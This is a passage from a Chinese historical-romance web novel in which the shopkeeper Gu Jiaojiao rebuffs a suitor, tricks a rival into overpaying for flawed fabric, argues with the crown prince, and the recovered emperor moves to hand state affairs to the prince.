在外人看来,她还是那位冷静自持,沉稳美丽的顾掌柜,只有她自己知道,她在慢慢的将心底的挖出,是疼的。 杜玉荣带着刚刚采摘的梅花来到第一楼。 第一楼的伙计早就习惯他的到来,也一如从前般的告诉他,顾掌柜忙着,不见外人。 外人。 于顾皎皎而言,杜玉荣依旧是外人。 “我并无他意,只是想将这花儿给她。” 杜玉荣温文尔雅,即使是与伙计说话,也并不高高在上的态度。 伙计微微点头。 “杜大人恕罪,这是掌柜吩咐的,奴才也无权做主。” 自然不是每个来第一楼的客人都有这样的待遇,只怕杜玉荣是个意外。 自他向顾皎皎表明心意后,她便开始避着他了,十次是有八次见不到的。 杜玉荣怎会不知顾皎皎是故意折,但他终究还是要试一试。 “去跟你家掌柜的说,她若是不见,我便在这里等她。” 杜玉荣直接坐了下来,手中拿的那几枝红梅倒是小心翼翼。 伙计一脸为难。 “杜大人,您这不是为难小的吗?掌柜的之前就已经有话,我若是……” “你只管传话便的。” 杜玉荣连眼睛都没有抬一下,态度坚决。 那小伙计左右为难,正在此时,二楼处出现一个身影。 “杜大人,我家掌柜的有请。” 莺儿站在台阶之上,脸上显现着无奈。 杜玉荣眼中流露出笑意,起身向楼上走去。 顾皎皎就在楼上,也自是因为听到了杜玉荣的话,她才让莺儿传话。 看着杜玉荣踏入房间,顾皎皎起身行礼,低头时也看到了他手中的那株红梅。 “见过杜大人。” 她生疏客气,却也是在表明自己的态度。 杜玉荣的眼中满是温柔,哪怕对面女子刻意回避,但见到她,还是高兴。 “为你摘的,想着你大抵喜欢。” 他晃了晃手中的红梅,一向偏冷的他,倒给人一种喜气洋洋的感觉。 顾皎皎扬起嘴角。 也不知是不是巧合,前不久她才嫌自己摘的白梅太浅,想等等红梅开放,今日杜玉荣便送来了红梅。 “只是初冬,大人带来的红梅竟开的这样好,实在难得,莺儿,收下吧。” 顾皎皎轻声开口,也看着莺儿抱着那花走了出去。 “是我府里的,一个园子里专门种植着红梅,花匠侍弄的好,便也开的早些。” 杜玉荣说话时,也一直看着她,自然也可以看出她眼底的那份疲惫。 “大人请坐。” 顾皎皎起身倒了杯茶,轻放在杜玉荣面前,而后自己也坐了下来。 “大人已来过多次,我想我也说的很明白了,还望大人莫要再让我为难。” 她还是说出了自己的心声。 她感激杜玉荣的数次帮忙,也感动于他从未看轻自己,他君子磊落,所言所行都出于尊重,这样的人,怕是这世间也找不出几个。 可是,这些与男女之情无关。 “我从未想过为难你,你现在无法接受我也可以理解,我可以等,这与你无关,是我心甘情愿的。” 杜玉荣一片赤诚之心,晶莹的眸子里甚至都不含一丝杂质。 空气陷入沉默,二人互视良久,半晌,顾皎皎才轻笑出声。 “杜大人的婚事,可是自己能做主的?” 她想到的是沈云祉。 他荣登太子之位,看似高贵无双,可是他的婚事是需要选择的。 “自然,我父母曾就说过,我已长大若有心仪之人,可自行决定。” “令尊令堂说这话的时候,有想过门不当户不对吗?” “这……” 杜玉荣一时犹豫,但又马上反应过来。 “我知道你的担心,不过你放心,若是可能,我定能说服我父母,也定不会让你受委屈。” 他保证般的说道。 “我自是相信大人所言,只是,杜府乃书香名流,无论是所娶之人,还是所嫁之户,皆是清流门户,注重名声,亦注重德行,你要怎么劝说,才能让他们接受我这样的人?” “何况,大人该知晓,只是这劝说的过程中,民女就已然被唾沫星子淹死了,那些人不会说大人至情至性,只会说民女攀附权贵,狐媚勾引,不知廉耻。” 顾皎皎难得的一下说这么多。 杜玉荣猛然起身,放在桌上的手都握成拳头。 “不,我不会让这种情况发生……” “杜大人,现在就是这种情况。” 顾皎皎说着,推开了身后的窗子,从窗子看下去,便是一楼散桌的客人。 “杜大人今日携花而来,在楼下时又说了那样的话,您猜他们现在在讨论什么?” 顾皎皎说的轻描淡写,却也是一副习以为常的模样。 杜玉荣站到她身边,楼下嘈杂,却也是能听到几句议论。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百九十七章 按我说的做 “顾掌柜年轻貌美,又有身家,虽是出身不高,有些男子上门,也是正常。” “你知道什么啊?你可知那男子是谁?三元及第的状元郎,杜府的嫡公子,那可不是一般人。” “有官身,还如此这般,看样子,顾掌柜是用了浑身解数啊。” 接下来便是一阵不远不近的笑声。 听着这些杜玉荣眼底袭上一抹怒气,转身便欲下楼。 “杜大人可是要去解释?” 顾皎皎低声开口,使杜玉荣停下脚步。 “我定会解释清楚。” “大人如何解释?这样的闲言,每日都有,数不胜数,一波接一波,何况,就算大人解释了,又有几人会信?” 顾皎皎将窗子关上,缓缓坐了下来。 “这便是民女所面临的处境,大人的大恩大德,民女谨记于心,日后上刀山下火海都会报答,只是感情一事,还望大人莫要执着。” 她微低下头,脸上没有什么表情。 她是很奇怪的一个人,冷静自持,似是任何事都无法引起她情绪的波动,可是杜玉荣明明见过她跟沈云祉或生气或无奈的样子。 杜玉荣不会放弃。 “我知我现在任何言语都是空话,时间会证明一切。” 他微微昂起头,刚刚的愤怒散去,在迎着顾皎皎的目光下,便又继续说了下去。 “我并非是心血来潮之人,自是知道自己要什么,做什么,姑娘也不必妄自菲薄,身份也好,权贵也罢,我并不放在心上,我只知道,姑娘是我心悦之人罢了。” “大人……” “顾姑娘所言我都明白,我自不会让姑娘陷于舆论之中,万事未定之前,我也必不会让姑娘为难。” 杜玉荣微微点头,而后走出了房门。 顾皎皎微怔,没有明白杜玉荣的意思,许是她说的还不是很明白? 莺儿从门外走了进来,站在顾皎皎面前,轻叹了口气。 “这杜大人明明是个文官,怎的这般倔强,姑娘三番两次拒他,他竟还一副迎难而上的样子了。” 是啊,怎么好像说不通的样子。 “随他吧,我也疲于应付了,时间久了,想来他也就能想通了。” 顾皎皎喝了一口茶,已然凉了,满嘴的苦涩。 她将杯子放到一边,莺儿立即给她换了一杯。 “还有一事,徐青青派人前往霓裳阁传话,说是明日会去铺子里挑料子,希望姑娘你在场。” 这种事本应该是拒绝的,但传话的人只是丫头,伙计说了也没用,只好来报顾皎皎一声。 顾皎皎挑了挑眉,无奈的摇了摇头。 “徐青青真是阴魂不散啊。” “姑娘明日不必去,奴婢去应付她。” “不,我去,你稍后去一趟霓赏阁,将那一批丝织局退回来的料子,摆在铺子的最中央。” 听着顾皎皎的话,莺儿愣了一下。 “姑娘,那批料子已经不能用了,织的不够密,上身做衣衫怕是也穿不了几次,是因为一个绣娘疏忽,才被退了料子,这……” “无妨,按我说的做。” 顾皎皎喝着茶,看着桌角的那株红梅,不禁扬起嘴角。 翌日。 徐青青来到霓裳阁时,铺子里一个客人都没有,只有顾皎皎带着一些伙计查看料子,以及新做出来的衣衫。 “只几日的功夫,顾姑娘这铺子怕不是要黄吧?” 徐青青扭动着纤细的腰肢,带着冷风走入铺子,一开口便是鄙夷和嘲讽。 顾皎皎回头看了一眼,将手中的账册交给身边的人,才走了过来。 “昨日夫人传信说要过来,我便命人未让客人进门,只让夫人先行挑选。” 顾皎皎这一脸认真的模样,让徐青青无所适从,她甚至后退一步,眼中都写满提防。 “你耍什么花招?我告诉你,现在再来讨好已经没用了。” “夫人说笑了,我之前就说过,我是生意人,您是顾客,我自然是要好好招待的,何况,您还不是普通的顾客,看这些,都是新料子。” 顾皎皎并未有谄媚之色,但这样的言语足以让徐青青飘飘然。 徐青青冷哼一声,侧身走向顾皎皎所指的那些料子,抬手抚摸。 “你若是早这般想,就省了许多事了,本来就是嘛,你只是商户之女,我心情好多照顾你一些,你的日子也好过。” 徐青青说着时,目光落到了不远处的那一批料子上,那料子摆在正中央的位置上,颜色亮丽好看。 “那些是什么?” 徐青青问着时,已经走过去了。 顾皎皎马上上前几步,伸手拦了一下。 “孙夫人,这批料子不可,这是丝织局定的,下个月便要送过去,你看看这些吧,都是好料子。” 顾皎皎脸上的为难之色那样明显,故意的样子也让人看的明白。 徐青青扭动着身子,左看右看,还是这批亮丽的更得她心意。 “丝织局的料子?宫里的贵人们用的?” 她这有些明知故问,看着那些料子,双眼都在放光。 那料子好不好都已然不重要,重要的是这些东西是宫里人所用,那她便也想尝试一下。 “正是,只是还未到交货时间,便一直在这里放着。” 顾皎皎眼底闪过一抹狡黠。 “竟然没有重复的,一匹一个花色,浓淡皆有。” “夫人好眼光,这料子都是入宫的,自是不可能出现同样的,免得生出是非。” 顾皎皎每提一句皇宫,徐青青的眼睛就光亮了几分。 徐青青有着郡主的身份,却从未享受过郡主该有待遇,所得的最好的东西,还是成婚时,皇上派人送来的赏赐,那时她便觉得宫里的一切都是好的。 现下,这些东西就在眼前,她怎可放过? “你既说你这些料子下月才交货,那不如给我吧,你再赶制一批就是了。” “什么?你莫要开玩笑?这是入宫的东西,岂能说拿走就拿走?” “谁跟你开玩笑了?我就要了,大不了多给你些银钱就是了。” 徐青青不以为然。 顾皎皎却装出被吓到的样子。 “这么多料子别说我赶不出来,就说这一批,如果不是宫里,谁能收下这么多?你若只拿走一两匹,我余下的也没法卖了。” 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百九十八章 你最好老实点 顾皎皎极力劝阻在徐青青眼里,就是跟她作对。 “就因为我嫁与了协兆哥,所以你才这般阻挠的吧?你自己都说你是生意人,哪有不赚钱的道理?” 徐青青的眉眼间透着挑衅,似是故意的一般。 “这你就想多了,丝织局的料子,我出了差错是要掉脑袋的,再说了,若是被别人知道你来抢丝织局的东西,你的协兆哥哥还能护着你吗?” 顾皎皎也不客气,直接摆明了利害关系。 徐青青自然也是怕死的,可那些料子太吸引她了,或者说宫里贵人们用的东西太吸引她了。 “你不说我不说,谁会知道?更何况,我也不是直接抢走,是付钱的,你再加紧赶制出一批不就是了。” 徐青青说着,转过身面对着顾皎皎,又无不得意的说道。 “你若是不给我,就证明你对安阳候府还心存妄想,我出门便会告诉其他人,说你有意为孙家的妾室,哦不,通房。” 徐青青之所以能说的理直气壮,自是因为不知道,曾经孙家人,包括孙协兆在内都曾对顾皎皎抛出过橄榄枝。 那时,孙协兆还提过,让顾皎皎做他的外室,还如从前一样是一家人。 顾皎皎想笑,却也只能藏在心里。 她好看的脸上是为难之色,微低着头思索着,许久都未做出决定。 “你还在犹豫什么?你这一整批料子,送入宫中也不过是为了赚钱,我也一样给你钱,你又不吃亏。” 徐青青明显有些不耐烦了。 顾皎皎也似是下定了某种决心一般抬起头。 “好,给你,可是你记住了,可千万不要说这是丝织局的料子,不然命都没了。” “我自是知道,你也管好你的嘴。” “还有,这批料子送入宫中是一千三百两,可你……” “我给你一千五百两。” 徐青青高昂着头,眼中满是得意之色,而后便看向身边的侍女青儿。 青儿立即从袖间抽出几张银票,递到了顾皎皎面前。 整整一千五百两。 “如此,我马上命人将这些料子送到安阳候府,哦对,你需不需要我这里给你制成衣衫?” 顾皎皎一脸认真的询问。 徐青青立即摆了摆手。 “不需要,我不信你。” 徐青青今日前来自然不是为了买料子,她被平王妃教训,如今还日日去那老太婆房里听训,她觉得都是被顾皎皎所赐。 所以当她无聊至极时,便想着来找顾皎皎算账,至于之前平王妃给她的提醒,她早就忘到脑后了。 “你倒是跟平王妃挺像,王妃当日也只是要了料子,并未制成衣衫。” 顾皎皎将银票收起,似是随口说道的模样。 徐青青脸色微变,狠狠的瞪了顾皎皎一眼。 “她是什么东西?一个不下蛋的母鸡,我怎会和她相像?顾皎皎,今日看在你识趣的份上,我便放过你,日后,你最好老实点。” 说完,徐青青就大步离去。 顾皎皎站在原地,看着那个倩丽的身影渐行渐远,唇角才显露出一抹笑意。 她拿着手中银票甩了甩,回手递给了身后的莺儿。 “姑娘,那些料子可是连一百两都不值啊。” 莺儿看着那些银票,心里高兴,但又怕惹出什么麻烦。 “徐青青都不心疼,你心疼什么?” “我才不是心疼,我是想着,用不了多久,徐青青便会发现,她到时候怕是会来找姑娘麻烦。” “不会的。” 顾皎皎毫不犹豫的说道。 “不会的?姑娘是说,她不会发现,还是说她不会来找姑娘麻烦?” “不会来找麻烦,因为那批料子是丝织局的,她来找我闹,便是将她抢丝织局的料子公之于众,所以,这个哑巴亏,她吃定了。” 顾皎皎算无遗漏,了解徐青青的为人,知道她的行事风格,这批无法再卖的料子,也只会落在她手中。 顾皎皎转身,看了看周围偷笑的伙计,才笑着开口。 ‘“开门做生意吧。” 众人终是笑出了声,这般心计怕也只能他们掌柜的才有了。 很快,那一车料子便送到了安阳候府。 东西送到的时候,孙老夫人与她那两个儿媳正巧看到,都不禁张大了嘴巴。 她们是见过徐青青花钱的样子的,可是如这般买布料,也还是第一次。 “等等,你们是哪里的?谁让你送来的?” 孙老夫人高喊一声,将送货的人拦了下来。 “回夫人,小的是霓裳阁的,孙三夫人在我们铺子里定了料子,小的们特意送到府上来。” 霓裳阁的伙计,在来此之前,顾皎皎已经交代过,他自是知道如何应对。 而听到霓裳阁三个字,几人都不禁愣住了。 “霓裳阁?顾皎皎的铺子?徐青青竟然在顾皎皎的铺子里买了这么多料子?” 刘氏惊呼出声,只觉得心疼,若是将这料子换成首饰,得有多少精致的头面啊。 章氏也在一旁直摇头。 “母亲,那顾皎皎一向狡诈,这三弟妹不会是被她骗了吧?” 孙老夫人脸色也更为难看,料子多少已然不重要,重要的是,这是顾皎皎铺子里的东西。 “怎么了?” 正当几人说着的时候,一道娇柔的声音传来,几人侧目便看到徐青青一脸春风得意的走了过来。 “怎么这么慢?你们就是这么干活儿的?” 徐青青看着送货的人,立即高声训斥。 那伙计一脸为难,看了看徐青青,又看了看孙老夫人。 “徐青青,你这是做什么?难不成将这候府当成铺面了不成?怎的一下买这么多料子。” 孙老夫人的不悦都写在脸丰,声音也严肃了几分。 徐青青却不以为然,微微欠身行了个礼。 “母亲莫要操心了,买多少也是我自己的银钱,又不用公中出钱,您何必心疼?” 说着,她便示意那些伙计快一些,而后才又面向孙老夫人几人。 “两位嫂嫂也是,怕又当着母亲的面,说了我许多坏话吧?像之前一样,用着我的,吃着我的,最后还能反咬我一口。” 在安阳候府,徐青青是有足够的底气的。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百九十九章 还是这般上心 安阳候府的孙老夫人是知道钱财的重要性的。 “青青,你平日里买些东西,我也不会说什么,只是这料子一下买这样多,堆在库房里都是要腐坏的。” 孙老夫人是记得孙协兆说的话的,威压不管用,那便讲道理。 徐青青也并不意外,而是拦下了一个搬布料的下人,让人将料子抬到孙老夫人面前。 “母亲看看,可曾见过这般好的料子?” 她眼中透着得意。 孙老夫人压抑着心中的怒火还是上前看了看,摸了摸,眼中也不自觉的显现出惊喜。 “倒是难得。” 她轻声说道,显然很是满意。 刘氏也凑过来,不禁惊呼出声。 “母亲,这何止是难得啊,怕不是御用之物吧。” 刘氏向来是个口直心快的,又是个不会隐藏自己心思的,说着,便转头看向徐青青。 “三弟妹啊,我从前就一直说,你是我们候府最有本事的了,做任何事定有你的道理,我们这家里啊,谁也不如你。” 对于刘氏的嘴脸,徐青青早就见识过了。 徐青青根本不理会她,而是直接看向孙老夫人。 “这般好料子,为何要放在仓库,儿媳想过了,近来总是去母亲房中听训,总是劳烦母亲了,我买这些料子回来,便也是与大家分了的,母亲是自己做衣衫,还是留着赏人,都是好的。” 徐青青既花了这笔银钱,便不在意这东西落到谁手。 孙老夫人自然是喜笑颜开。 “还是你最懂事,母亲也是多虑了,竟不知你是这样的想法。” “母亲悉心教导,儿媳自然铭记于心,稍后回去,我便挑些雅致的送您院中。” 徐青青说着时,也冷眼瞟向章氏和刘氏,章氏虽是个有城府的,却也难掩眼中的期盼之色。 “我自会给大嫂和二嫂都送一份的,日后再说我的坏话,也能小声些。” 徐青青笑着离开了,刘氏与章氏尴尬至极,想着在老太太这里寻些安慰,可这位孙老夫人刚得了好处,怎还会理会她们? “大嫂,都怪你,当初要不是你说要压徐青青一头,今日怎会这般没脸?” “现在怪我了?你当时恨的牙根痒痒,骂她欺负你的时候你忘了?好处你占了,责任却推给别人。” 章氏毫不留情的拆穿刘氏,随后便愤然离去,留下刘氏进退两难。 接下来的时日,顾皎皎命人盯着安阳候府。 很快,消息便传了过来。 “这候府啊,看似一团和气,可是谁也不信任谁,徐青青给各个院子都送了布料,但都各自自己请人裁制衣衫,如今安阳候府进进出出的全是师傅与绣娘,极为热闹。” 莺儿一边说着,一边笑的停不下来。 顾皎皎坐在镜前,将自己头上的钗环取下,在她斜右方不远处,放着几枝梅花,是红梅,含苞待放。 “徐青青本不是小气之人,也算有些手段,想必她已经不用去老太太房里听训了吧?” “姑娘真是聪慧,王吉传信回来,说从两日前,徐青青便不用早起请安了,还说那老太太当着全家人的面,说徐青青能干知礼,好一顿称赞。” 莺儿惊动的说道。 顾皎皎笑了笑。 孙家人本就是这样的,尝到一点甜头,便不知东南西北,那老太太更是个唯利是图的主儿,人们说有其子必有其母,在孙家身上是再正常不过的了。 “孙协兆呢?此事未有什么意见?” 顾皎皎突然想到,近来传回的消息,好像都没有孙协兆的事。 “他啊,还是像之前一样忙着讨好双剑呢,也不知是真是假,双剑待他倒是亲近了不少,二人还常常一起出游呢。” 莺儿撇了撇嘴,心想着若是双剑跟孙协兆成了好友,那只能说明沈云祉识人不明。 “双瑞与双剑是太子殿下的心腹,此时与孙协兆周旋,怕是得了太子的命令。” 对于忠心这一点上,顾皎皎从未怀疑过双瑞与双剑,而且,就孙协兆那般货色,他也收买不了什么人。 “姑娘,对于太子殿下的事,还是这般上心?” 莺儿的声音小了许多,语气里透着担忧。 顾皎皎摘耳环的手不自觉的顿了顿,嘴角扯出的一抹笑也略显尴尬。 “也没有,只是我们身处京城之中,各方势力总要探查一番。” 她随意的解释着。 莺儿轻叹了一口气,也不曾拆穿她,而是上前帮她将耳环取下,这只耳环明明很好取,顾皎皎却怎么也拿不下来了。 这几日倒是肃静了一些,杜玉荣未再前来,那些流言也少了许多。 就当顾皎皎以为她在慢慢回归从前的生活时,却被沈云祉堵在了顾府内。 一个人站在门里,一个人站在门外,门外的人缓步上前,门里的人只能后退。 “不知太子殿下驾到,有失远迎,还请殿下恕罪。” 顾皎皎低头行礼时,都可以听到自己的心跳声,不知是因为多日未见,还是因为害怕。 “见顾姑娘一面不易,本太子进去坐坐。” 沈云祉唇边的笑意未减,但声音却是冷的,也不等顾皎皎说什么,他便直接向正厅走去。 顾皎皎反应过来,忙追了上去。 “殿下可是有事?民女还有要事要处理,若殿下无甚大事,不如……” 她的话说到一半,就迎来了沈云祉转过头来,投过来的冰冷的目光,只那一眼,便让顾皎皎闭了嘴。 太子? 就算不是太子,还是从前的小云南王也该知道礼数二字吧? 他现在倒好,就这样大摇大摆的走进了女子的闺房。 失礼,太失礼了。 顾皎皎这样想着,低着头跟着前面的脚步,可她想的太入神,竟未注意前面的人已然停下。 她就这样直直撞了过去。 额头处的疼痛传来,才立即后退两步,抬眼正撞上沈云祉疑惑的目光。 他大约也是没有想到,会有人走路还能撞他身上吧? “殿下恕罪,民女一时失神。” 顾皎皎头埋得更低了。 沈云祉看着额头处的一片红,毫不掩饰的扬起嘴角,但看到桌角的那株红梅,眼底又再次袭上冷意。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百章 洁身自好 沈云祉将自己斗蓬随手便递到了顾皎皎的手中,领口处的狐狸毛触感极软,也极为温暖。 顾皎皎还是在心里暗骂着自己,她为何接的这般顺手。 她也仔细的将这件斗蓬挂起,还未来得及说什么,沈云祉便开口了。 “听闻玉荣前几日送来了他府里的红梅,便是这个吧,倒是不错,看得人心里暖暖的。” 他的声音还是那般好听,磁性里带着媚惑,只是这话听上去给人一种阴阳怪气的感觉。 那株红梅并不是杜玉荣送的,而是她在院子里折下来的,刚折下不久,还未开出一朵花。 顾皎皎一时分辨不出他的意思,自也是不敢轻易回答。 “太子殿下忙于宫中,不想这等微末小事也能听说。” 她还是命人备了茶水。 沈云祉毫不客气的倚靠在榻上,半眯着眼,那双深邃的眸子里,投过来的目光竟带着一抹嘲弄。 “顾掌柜如今可是京城里的风云人物,尤其是这男女之事上,大街小巷都可以听到一些。” 他是疯了吗? 大老远的过来,就是为了嘲笑她不成? 顾皎皎抿了抿唇,又会不自觉的想到他的婚事,心底便又觉得有气。 “殿下取笑了,民女能成为风云人物也是殿下的功劳。” “顾姑娘这是怪我?” “民女不敢,太子殿下屡次关照,才让民女名声渐显,民女若还心存怨怼岂非禽兽之心。” 顾皎皎这不愠不火的话,噎得沈云祉半天没说出话。 “殿下喝茶。” 顾皎皎从莺儿手上接下茶,轻放在沈云祉面前。 “多日不见,顾姑娘倒是伶牙俐齿了,正巧我也想问问,姑娘避我多日,所为何事?” 这是沈云祉直接找上门的原因。 他派双剑去查顾皎皎可是遇到了什么难事,但都没有查出什么结果,能查到的不过是一些传言,最近一次便是杜玉荣送花之事。 沈云祉近来忙碌,本无暇出宫,但听闻杜玉荣不介意外人眼光,当众去送亲手折的梅花,他心里极为不舒服。 这抹不舒服是为何,他自己也不清楚,只觉得胸口闷闷的,要找人算账。 “殿下今日前来是与民女说笑的吗?民女每日都极为忙碌,不曾有躲避殿下之心,殿下大抵是误会了。” 今日若不是在门口被堵了个正着,她也早就逃跑躲开了。 “我不知你在想什么,但你要清楚,我的产业还在交由你打理,你如此态度难以让人安心。” 沈云祉的话语中带了几分郑重。 顾皎皎眉头微皱。 原来,这才是他今日来这里的目的。 “太子殿下放心,产业的事我无一日松懈,各个铺子的情况我也如从前一样,都传给双剑,至今没有纰漏。” 她如此认真的答着,让沈云祉心里五味杂陈。 他原本不是这个意思,可话说出口却有些变了味道。 “自然了,太子若是信不过,契约也可就此废掉,毕竟殿下如今并非王爷,身边有才学之人也不计其数,民女并无怨言。” “不,你继续管着,我只是觉得你在京城之中无论是出身,还是过往都有些引人注目,莫要再传出什么与世家子有联系之事,免得被人诟病。” 沈云祉所说的每一个字,都如一把把利刃插进顾皎皎的心脏。 他是怕她太过招摇,从而为他的产来带来麻烦,所以,他提到身份,过往,那些她一直被别嘲笑还辱骂的点。 顾皎皎放在袖子里的手在微微发抖,大抵是因为这些话是从沈云祉口中说出来,所以她才更为难过。 “今天殿下前来,就是为了提醒民女,我的身份多么不堪,让我洁身自好,是吗?” 顾皎皎极力压制着自己的情绪,可是声音还是冷了几分。 沈云祉皱了皱眉,手中依旧把玩着那只茶盏,并未让人发现他眼底异样的光芒。 “本太子,无嘲讽之意,只是实话实说。” “太子说的是,既如此,日后太子更不该再与民女见面,免得污了殿下清誉,民女有生意上的任何事,也只会通过殿下身边的侍卫转达。” 顾皎皎后退两步,侧身而立,她未说,但已然是在赶人了。 沈云祉看着她,她的侧脸极美,几缕碎发遮挡住她的眉眼,那脸庞上挂着坚毅的神色,似是倔强,也似是不甘。 她就那样站在那里,微昂着头,目视前方,让人觉得她陌生疏离。 “好大的胆子,你竟然赶我走?” 沈云祉有许多话未说,被她这般对待,自是不悦。 “恭送太子殿下。” 顾皎皎没有否认。 不出意外的,沈云祉愤然离去,就连那件斗蓬,还是莺儿追出去很远才交到了双瑞手上。 而此时,屋里的顾皎皎没有出门相送,而是扶着桌边缓缓坐下。 她双腿发软,全身的力气似是被抽走一样,此时的她也分不清,她现在的状态是因为沈云祉所说的那些话,还是因为她如此顶撞太子。 莺儿回来的时候,便看到顾皎皎脸色苍白,立即上前轻扶着她。 “姑娘这是怎么了?太子殿下说什么了?” 莺儿知道,能让顾皎皎如此的,只有沈云祉了。 顾皎皎回过神,扯出一抹笑,很是勉强。 “没事,突然觉得有些晕,大抵是着凉了。” 莺儿松了一口气,扶着她便向寝室的方向走去。 “这几日更冷了,姑娘向来体质弱,也不宜常在外面走动,先回房休息,我去给姑娘开几副风寒灵,也好的快些。” 莺儿絮絮叨叨说了许多,但顾皎皎都没有听进去。 她的脑海中浮现着沈云祉的那些话,身份,过往,洁身自好,这些都是她的伤疤,而这些伤疤却是被沈云祉毫不留情的揭开。 帝王无情。 沈云祉虽然还未登皇位,可这处事风格与言行举止已然说明一切了,想来用不来多久,他便可以直接向她下达命令了。 说起来也没错,她与沈云祉本就只是合作的关系,顾皎皎此时所有的难过,都是她自找的。 躺在床榻之上,顾皎皎并无睡意,想着这些,她也会一遍遍的让自己认清现实。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百零一章 不可一日无主 皇上醒了。 这一消息在宫中传开,随后便是整个京城,乃至整个国家。 朝堂震动。 原本在首辅大人的帮忙下,朝堂上维持着表面的平和,如今皇上醒了,便开始暗潮涌动。 太子未行册封大典,又并非是皇上子嗣,反对的人依旧大有人在。 同时,皇上昏迷这段时间,沈云祉日夜侍奉在侧,未夺权,未争名,也得到不少大臣的拥护。 一时间,乱作一团。 皇上的寝宫内,沈云祉端着一碗药走到床榻边。 皇上虽醒,但是身体却不如往常,是需要旁边的宫人扶着,才可勉强坐起身。 “这段时间辛苦你了。” 皇上的声音极为虚弱,脸上也几乎没什么血色。 沈云祉将药一勺一勺的喂给皇上。 “皇上折煞臣了,这本就是臣的分内之事。” 他低声开口,犹豫之间还是继续说道。 “皇上昏迷,宫中太医束手无策,臣胆大妄为从宫外请了医士,如今皇上醒了,臣也便安心了。” 皇上扯动了下嘴角,纵然不知那医士是什么身份,但看着自己周围的人全部换成了云南王的人,便知那医士及药都不简单。 “想来,为了给朕治病,你也是豁出去了吧。” 皇上的话倒是让沈云祉意外,他竟丝毫都没有怀疑,他或有造反之心。 “皇上英明,药里有一些毒草毒花毒虫,若是经太医之手,无法给陛下服下,也只能出此下策。” “无妨,成大事者不拘小节,你一片赤诚,朕心中有数。” 若不是沈云祉铤而走险,如今的皇上,怕是已然不在了。 “对了,平王近来怎样?可否收敛些?” 皇上自会想到自己是因何倒下的,现在提到平王,也是难掩怒气。 “平王叔自是不甘心的,明里暗里使些计谋,但陛下安心,臣可以应对。” 沈云祉的话音刚刚落下,外面便有宫人走了进来。 “启禀皇上,平王在外求见。” 说曹操曹操到。 “皇上刚醒不久,身体欠安,要多休息,请平王改日再来吧。” 沈云祉不想让平王再惹皇上生气。 但那宫人还未应下,皇上便开口了。 “无妨,云祉,让他进来吧,再去传云南王和首辅觐见。” 皇上平静的下了旨意。 沈云祉不知为何,但还是照做。 不一会儿,平王便走了进来,依旧是气势汹汹的模样,但到底是自己惹出的祸事,这次倒是难得的向皇上行了个大礼。 “起来吧。” 皇上抬了抬手,又忍不住咳嗽了两声,身旁的宫人扶着他倚靠在床榻边上,便离开了。 “臣不敢,臣有罪,幸好皇上醒来,不然臣百死莫赎。” 平王并未起身,只是这罪请的着实有些敷衍。 自皇上昏迷,他未曾在床边侍疾,更不曾遍寻名医,而是在宫外计划着怎么夺了沈云祉权位,此时,他倒是请罪了。 这一点,无论是皇上还是沈云祉都心知肚明,但谁也未曾拆穿。 “起来吧,都过去了,云祉也说了,朕昏迷的这些时日,你也是日日担忧。” 皇上在嘴角扯起一抹笑,让人分不清他所说的是真是假。 “多谢皇上。” 平王应着起身,目光瞟了一眼沈云祉。 他自是不信沈云祉会说这样的话,便想从他的脸上看出些什么,毕竟他唯一一次来望皇上,可是为了给沈云祉下药。 沈云祉神色淡然,站在皇上身侧,未说什么,神色也没什么变化。 “皇上大病初愈,本该是要好好休养,臣实在担忧,才来看望。” 平王转开了话题,也是担忧沈云祉会说出什么不该说的话来。 “朕这身子,即使是醒了,怕也是好不了了,不过是强撑着精神,好在,朕已然立下了太子,不必操心国事,就算有一天去了,也可面对列祖列宗了。” 皇上的话还是让沈云祉皱了皱眉。 “皇上……” 沈云祉不想听这样的话,但皇却摆了摆手,淡淡的笑了笑。 “皇上洪福齐天,定会长命百岁。” 平王口不对心的说着。 正在此时,云南王与宰辅走进寝殿,二人齐齐向皇上行礼。 皇上醒来后,便未召见任何人,这二位也是第一次见皇上。 “你们来了,都坐。” 皇上脸上的笑愈发明显。 平王一脸狐疑,看着身侧的二人,未敢擅动。 “今日朕觉得好一些了,正巧你们都在,朕便想着跟你们商量一下,让钦天监选个吉日,给太子行册封礼,入住东宫。” 此话一出,在场的人都有些意外。 “皇上,此事是不是过于着急了些?” 平王第一个反对。 “臣觉得甚好,太子之位已然立下许多时日,早该行册封礼的,至于东宫,以前太子是为了照顾皇上,一直住在皇上这里,皇上既醒了,也自是要搬入东宫的。” 首辅开口,苍老的脸上满是威严。 这是平王最不愿承认的事,首辅的儿媳可是平王的胞妹,按理说这个时候应该是站在他这边的。 “首辅说的没错,若不是朕这身子不争气,这些事也早该提上议程的。” 皇上也用余光瞟向平王,清楚的在他眼中看到了愤恨与隐忍。 皇上并不意外,且他既然将有关的人都叫来,便不只是这一点。 “朕这次醒来,身体已然不如从前,国不可一日无主,朕便想着让太子慢慢接手朝政之事,几位爱卿觉得如何?” 这不是单纯的管理朝政,而是皇上已经有意退位,或者说皇上在为沈云祉铺路。 “皇上,太子殿下到底年轻,现在就接手朝政,怕是会耽误政事,不如再缓些时日。” 说话的是云南王,他到底是担心自己的儿子。 “云南王倒是说了句公道话,太子虽得皇上指点,可到底刚刚回京不久,对京中事务并不熟悉,国事非儿戏,还请皇上三思。” 平王身为亲王,又是这样的机会,自然会劝阻皇上。 只是,皇上还未说什么,首辅大人倒是笑着开口。 “两位王爷怕是多虑了,臣觉得皇上的提议极好。” 他也是会揣摩皇上心思的。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百零二章 众矢之的 “太子殿下虽然未在京中久留,但皇上交代的几件差事却完成的极好,至于朝政之事,总是要慢慢来的,任哪位储君也不是生来便什么都会的。” 首辅义正言辞,说的正是皇上心中所想。 “首辅大人此话差矣,若是宫中的皇上自幼耳濡目染,自然不用担心这些,可太子并不熟悉政务,如何平衡各官员,如何让官员信服,他都不知,这可不是轻易说学就学的。” “国有律法,依法行事自不会差,储君便是未来的君主,行天子之令,为什么要平衡各官员?难道不该是各官员辅佐太子行事吗?若有异心,贬了就是。” 首辅与平王各执己见,而首辅的几句话明显是占了上风,让平王一时不知该如何应对。 皇上轻咳了两声。 